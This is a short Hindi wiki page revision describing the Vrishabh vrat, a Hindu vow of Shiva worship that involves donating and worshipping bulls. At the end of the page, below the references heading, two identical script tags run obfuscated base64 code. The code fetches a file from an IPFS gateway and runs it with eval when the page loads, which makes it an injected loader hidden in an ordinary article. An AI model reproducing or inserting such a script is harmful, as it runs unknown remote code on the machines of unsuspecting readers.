शिल्पी गोयल (वार्ता | योगदान) ('*भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा ...' के साथ नया पन्ना बनाया) |
शिल्पी गोयल (वार्ता | योगदान) छो (वृषभव्रत का नाम बदलकर वृषभ व्रत कर दिया गया है) |
(कोई अंतर नहीं)
|
11:07, 9 सितम्बर 2010 का अवतरण
- भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लखित हिन्दू धर्म का एक व्रत संस्कार है।
- शुक्ल पक्ष की सप्तमी पर वृषभव्रत रखा जाता है।
- श्वेत वस्त्रों से आवृत तथा घंटी आदि आभूषणों से अलंकृत बैल का दान करना चाहिए।
- वृषभव्रत तिथिव्रत; शिव देवता की पूजा करनी चाहिए।
- ऐसी मान्यता है कि वृषभव्रत से शिव लोक की प्राप्ति और राजा हो जाता है।[1]
- ज्येष्ठ अमावास्या पर बैलों की पूजा करनी चाहिए।
- काठ के बने बैलों को (एक दिन पूर्व ही) घर में स्थापित करना और गंध आदि से पूजा करनी चाहिए।
- धर्म कहकर उनकी प्रार्थना करनी चाहिए।
- धर्म को बहुधा वृष कहा गया है। [2]
|
|
|
|
|
टीका टिप्पणी और संदर्भ
संबंधित लिंक
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>